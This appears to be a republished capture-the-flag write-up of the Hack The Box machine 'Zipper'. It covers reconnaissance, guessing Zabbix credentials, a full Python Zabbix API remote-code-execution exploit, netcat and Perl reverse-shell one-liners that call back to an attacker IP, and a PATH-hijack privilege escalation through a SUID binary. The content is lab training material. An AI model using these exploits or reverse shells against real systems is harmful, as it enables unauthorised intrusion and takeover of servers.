Hack The Box - Zipper

 3 years ago
source link: https://www.tuicool.com/articles/hit/AfUJbur
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Quick Sumarry

Hey guys today Zipper retired and here’s my write-up. Owning user on this box was challenging because we have to exploit an RCE vulnerability which is not really easy and then we have to get a stable shell to be able to enumerate, for the privilege escalation it was easy but I also liked it because it was a binary exploitation. It was a very fun box and I liked it. It’s a linux box and its ip is , I added it to /etc/hosts as zipper.htb . Let’s jump right in.



As always we will start with nmap to scan for open ports and services :

nmap -sV -sT -sC zipper.htb feqQvmz.png!web

We only get 2 ports , http on port 80 and ssh on port 22. so we are going to check http

HTTP enumeration

By visiting zipper.htb we get the default apache2 page :


So I’m going to run gobuster with directory-list-2.3-medium.txt to see if there are any sub directories :

gobuster -u http://zipper.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Output :

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://zipper.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 4m10s
2019/02/22 08:50:38 Starting gobuster
/zabbix (Status: 301)

We got /zabbix , let’s look at that in the browser :


We get this login page , we don’t have credentials but down there there’s an option to sign in as a guest , but before we do that let’s get an idea about zabbix

Zabbix is an open-source monitoring software tool for diverse IT components, including networks, servers, virtual machines and cloud services. Zabbix provides monitoring metrics, among others network utilization, CPU load and disk space consumption. - Wikipedia

So basically it’s a server monitoring tool , let’s login as a guest and see what we can get


We get this dashboard , but we are not privileged to do anything because we are guest

After some enumeration we will notice in : Monitoring –> Latest data , Zapper's Backup Script


Now we have a potential username : zapper , we can try to brute force or fuzz the password , but a quick guess worked for me , the username is the password zapper : zapper


GUI access disabled , on exploit-db there’s an authenticated remote code execution exploit for an old version of zabbix , check it here , Unfortunately valid credentials are not enough to exploit it , if we take a look here :


We also need hostid , and to get that we need to get GUI access

GUI access through zabbix-cli

There’s a cli tool for zabbix on github , we can use it to gain GUI access. Installation and configuration is simple you will get the source from github then install it with install.py install then you will create a conf file for it by executing zabbix-cli --config , it will be saved in $HOME/.zabbix-cli/zabbix-cli.conf , open the conf file and in Zabbix API section add this line zabbix_api_url= . For details read the documentation here

Then we will run zabbix-cli it will ask for a username and a password , we already have them zapper : zapper

if we executed show_usergroups we will see that zapper is in a group called No access to the fronted and GUI access to that group is disabled


We will create a new group and call it guiaccess and leave GUI access as system default

create_usergroup JBFzqur.png!web

Then we will add zapper to that group and delete him from No access to the fronted

add_user_to_usergroup muYJfqf.png!webremove_user_from_usergroup 2eqqieI.png!web

Now if we try to login again as zapper we will get the dashboard :


RCE and getting user

From Configuration –> Hosts we have 2 hosts and the second one is the availabe one :


If we click on it we will get an edit page , but we will notice that the host id is included in the url as a GET parameter :


Now we can edit the python exploit and add the host id : 10106 , this is how the basic login info in the script will look like :


And we get a decent shell , but this shell executes commands through API requests which is not efficient , so we will get a reverse shell like this :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

I got this shell from payload all the things


Problem is , we will find that we are in a docker container , and that’s actually a bad rabbit hole and when I was doing this box for the first time i spent a lot of time trying to escape this docker container , And eventually i found out that this is the wrong server.


If we take a look at this page from zabbix documentation , this part :


there’s an option called execute_on , which has 2 possible values : 0 to execute on zabbix agent , and 1 to execute on zabbix server. We don’t have that option included in the exploit so we are using the default option 1 which means we are executing commands on zabbix server. So we will edit the exploit json data and add "execute_on" : "0" in those 2 parts :


After that we will run the exploit again and now it will run on the right server , however the shell that we used before didn’t work and died immediately because the exploit crashed for some reason , I had to comment out the last line which prints the result : print cmd_exe["result"]["value"] , but it didn’t fix it , so I tried some other shells and the perl one worked :

perl -e 'use Socket;$i="10.10.xx.xx";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Then I used used python3 pty to get a proper shell , python2 didn’t exist on the server


Final exploit after edits :

# -*- coding: utf-8 -*-

# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A

import requests
import json
import readline

ZABIX_ROOT = ''	### Zabbix IP-address
url = ZABIX_ROOT + '/api_jsonrpc.php'	### Don't edit

login = 'zapper'		### Zabbix login
password = 'zapper'	### Zabbix password
hostid = '10106'	### Zabbix hostid

### auth
payload = {
    "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
    	'user': ""+login+"",
    	'password': ""+password+"",
    "auth" : None,
    "id" : 0,
headers = {
    'content-type': 'application/json',

auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

while True:
	cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
	if cmd == "" : print "Result of last command:"
	if cmd == "quit" : break

### update
	payload = {
		"jsonrpc": "2.0",
		"method": "script.update",
		"params": {
		    "scriptid": "1",
		    "command": ""+cmd+"",
		    "execute_on" : "0"
		"auth" : auth['result'],
		"id" : 0,

	cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))

### execute
	payload = {
		"jsonrpc": "2.0",
		"method": "script.execute",
		"params": {
		    "scriptid": "1",
		    "hostid": ""+hostid+""
		"auth" : auth['result'],
		"id" : 0,
		"execute_on" : "1"

	cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
	cmd_exe = cmd_exe.json()
#	print cmd_exe["result"]["value"]

First thing we will notice that we are zabbix and in /home there’s a directory for the user zapper


We can’t read user.txt and we can’t go into .ssh


There’s another directory called utils which contains 2 files , backup.sh and zabbix-service

cat backup.sh UvuU3ye.png!web

We see that it has a hardcoded password in it : ZippityDoDah , we can try to su to zapper with that password


And it worked , now we can get the ssh key from .ssh and have ssh connection


And we owned user !

Privilege Escalation and getting root

If we take a look at the utils directory again and execute zabbix-service :


It asks us start or stop? then it executes something and exits , we will check if that binary is a suid binary :

find /home/zapper/utils -perm -4000 6rEnEfz.png!web

It’s a suid binary , we need to know what is it doing. Without reverse engineering , strings was enough :

strings zabbix-service zMfA3eQ.png!web

This command is being executed when we type start : systemctl daemon-reload && systemctl start zabbix-agent , so what are we going to do is the same as we did inDab , the only difference is in dab we hijacked a shared library that the binary used , but here we will hijack a binary. By default systemctl points to /bin/systemctl


We will create a c program to execute /bin/bash :


Then we will compile it with gcc : gcc exploit.c -o systemctl

Now we have our fake binary ready :


We will add /home/zapper/utils as the first entry in PATH env variable , so the system will look there first :

export PATH=/home/zapper/utils:$PATH

This is changing the PATH variable to /home/zapper/utils: + the old path


Now systemctl points to our fake binary , let’s run zabbix-service :


And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read theprevious write-ups , Tweet about the write-up if you liked it , follow on twitter for awesome resources @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up :Hack The Box - Giddy

About Joyk

Aggregate valuable and interesting links.
Joyk means Joy of geeK